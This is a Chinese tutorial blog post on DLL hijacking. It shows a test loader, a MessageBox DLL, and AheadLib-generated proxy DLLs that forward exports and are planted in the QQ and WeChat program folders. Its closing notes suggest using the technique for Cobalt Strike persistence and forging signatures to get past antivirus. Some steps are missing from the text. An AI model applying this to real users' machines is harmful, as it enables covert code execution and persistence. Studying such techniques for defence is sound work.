//初探dll劫持-ooo//
文章很长
预计阅读时间:不知道
// 简介 //
2.在当前程序所在⽬录下伪造⼀个与系统同名的DLL,提供同样的输出表,并使每个输出函数转向真正的系统 DLL。这样,程序调⽤系统DLL时会先调⽤当前程序所在⽬录下的伪装的DLL,完成我们的操作后再跳到系统 DLL同名函数⾥执⾏。
// 环境 //
代码编辑⼯具:vs2019社区版
测试dll⽂件:test.dll
进程监控⼯具:Procmon.exe
函数导出⼯具:AheadLib.exe
被劫持程序:QQ、wei信
// 过程 //
函数导出⼯具:AheadLib.exe
被劫持程序:QQ、wei信
代码如下
using namespace std;
int main()
{
// 定义⼀个函数类DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
// 指定动态加载dll库
HINSTANCE hinst = LoadLibrary(L"test.dll");//要加载的DLL
if (hinst != NULL) {
// 获取函数位置
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名
}
if (GetDllfunc != NULL) {
//运⾏msg函数
(*GetDllfunc)();
}
}
代码从表⾯看很好理解,加载到test.dll就进⾏函数调⽤(这⾥以为被调⽤的dll也要存在msg函数,后⾯发 现也可以不⽤,原来是个误区)。这⾥进⾏64位编译,⽬前来看debug和Release模式都区别不⼤,反正 能⽤就是了,不要注意到是64位程序调⽤64位dll,32位程序调⽤32位dll,不然容易报错。⽣成后会在⽬录中存在两个⽂件,222cc.exe是我们需要的
在cmd中运⾏看看,啥也没输出是不是,对的,因为没加载到test.dll
题外话:这⾥因为是⽩盒测试,知道源代码,假如不知道源代码的情况下,我们可以⽤OD或者windbg 来查看
那我们新建⼀个动态链接dll⽂件,操作位置如下图
代码也是很简单,做⼀个消息弹窗效果,这⾥就编译dllmain.cpp就可以了,其他⽂件不⽤管
代码如下
// dllmain.cpp : 定义 DLL 应⽤程序的⼊⼝点。
// 头⽂件
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(NULL, (LPCTSTR)TEXT("⼤⾃然666"), (LPCTSTR)TEXT("test"),
MB_OK);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
使⽤64位和32位分别编译看看效果
32位运⾏效果
64位运⾏效果
先把32位的lmx.dll拉⼊222cc.exe同路径下,并且改名为test.dll,运⾏222cc.exe,没任何效果
替换成64位的试试,成功加载到test.dll,弹出消息框
测试实验到这⾥就结束了,下⾯进⾏实战
// 修复 //
2.验证 DLL 的合法性,例如是否具有⾃家的合法数字签名、是否是合法的系统 DLL ⽂件。
// 实战劫持1 //
然后双击qq.exe,提示缺少arkFS.dll⽂件,那就对这个dll进⾏下⼿
使⽤Procmon.exe对进程进⾏监控,查看dll调⽤情况,发现是先从根⽬录再到其他⽬录依次寻找 arkFs.dll
⽂件 ⼀般先设置过滤条件,这个⽹上可以百度
2.使⽤AheadLib.exe进⾏函数导出,纯傻⽠式操作,点击⽣成,dll代码都给你写好了,稍微改动⼀下就 可以使⽤,在前⼈写好的⼯具下操作是不是⾮常简单,选择转发函数,原始dll为arkFSOrg,名字可以⾃ 定义,看你⾃⼰喜欢。
代码改动如下:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////
// 头文件
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////
// 导出函数
"/EXPORT:arkFSArkToSyspath=arkFSOrg.arkFSArkToSyspath,@1")
"/EXPORT:arkFSCreateDirectory=arkFSOrg.arkFSCreateDirectory,@2")
"/EXPORT:arkFSCreateStub=arkFSOrg.arkFSCreateStub,@3")
"/EXPORT:arkFSDeleteStub=arkFSOrg.arkFSDeleteStub,@4")
"/EXPORT:arkFSInitFileSystem=arkFSOrg.arkFSInitFileSystem,@5")
"/EXPORT:arkFSUnmountPath=arkFSOrg.arkFSUnmountPath,@7")
"/EXPORT:arkfsBeginTrans=arkFSOrg.arkfsBeginTrans,@8")
"/EXPORT:arkfsCommitTrans=arkFSOrg.arkfsCommitTrans,@12")
"/EXPORT:arkfsCreateEnum=arkFSOrg.arkfsCreateEnum,@14")
"/EXPORT:arkfsCreateEnumIndir=arkFSOrg.arkfsCreateEnumIndir,@15")
"/EXPORT:arkfsCreateFile=arkFSOrg.arkfsCreateFile,@16")
"/EXPORT:arkfsCreateFileIndir=arkFSOrg.arkfsCreateFileIndir,@17")
"/EXPORT:arkfsDeleteDirectory=arkFSOrg.arkfsDeleteDirectory,@18")
"/EXPORT:arkfsDeleteFile=arkFSOrg.arkfsDeleteFile,@19")
"/EXPORT:arkfsGetFullName=arkFSOrg.arkfsGetFullName,@21")
"/EXPORT:arkfsIsDirectory=arkFSOrg.arkfsIsDirectory,@23")
"/EXPORT:arkfsIsDirectoryExist=arkFSOrg.arkfsIsDirectoryExist,@24")
"/EXPORT:arkfsIsFileExist=arkFSOrg.arkfsIsFileExist,@25")
"/EXPORT:arkfsRenameFile=arkFSOrg.arkfsRenameFile,@30")
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
MessageBox(NULL, (LPCTSTR)TEXT("我是一只南极企鹅"),
(LPCTSTR)TEXT("test"), MB_OK);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////
有人会问为什么要导出函数呢,因为程序要先调用你的dll,然后再调用原来的dll,这样程序才能正常启动。
3.【从qq路径看是x86】C:Program Files (x86)TencentQQBin;先把原来qq自带的arkFS.dll改名为
arkFS0rg.dll,然后把编译好的dll文件改为arkFS.dll,复制到qq目录下面,双击qq运行。
这里做个小测试
(1)64位dll文件,可以加载,但是执行失败,qq也启动不了
(2)32位dll文件,成功加载弹出消息窗口,并且qq正常启动
// 实战劫持2 //
错误
2.使用AheadLib.exe对libFFmpeg.dll进行函数转发导出,然后编译成32位的dll
代码:导出函数太多,就不贴了
// dllmain.cpp : 定义 DLL 应用程序的入口点。
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////
// 头文件
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////
// 导出函数
#函数太多,我这里就不贴出来了
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
MessageBox(NULL, (LPCTSTR)TEXT("我是一只北极企鹅"),
(LPCTSTR)TEXT("test"), MB_OK);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
/////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////
3.原来的libFFmpeg.dll重命名为libFFmpeg1rg.dll,把我们的测试dll文件复制进wei信目录,并且重命名
为libFFmpeg.dll,这里我就不开进程监控了,直接测试
wei信也可以正常启动
/J1wa深思时刻(作者原话)/
1.不仅可以劫持qq,wei信,杀软等等
2.对文件进行签名伪造,github有现成的 工具,有了签名,一般杀软会很神奇的网开一面。
3.dll劫持不仅仅是test弹框,可以利用进行cs上线进行后期的维权,甚至干点其他有意思的。
4.并不是所有的dll都可以被劫持。
//每日毒鸡汤//
人生的游戏不在于拿了一副好牌,而在于怎样去打好坏牌,世上没有常胜将军,勇于超越自我者才能得到最后的奖杯。
----托马斯.齐夫斯基.火源
⊙————————————
本文始发于微信公众号(默社安全):初探DLL劫持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论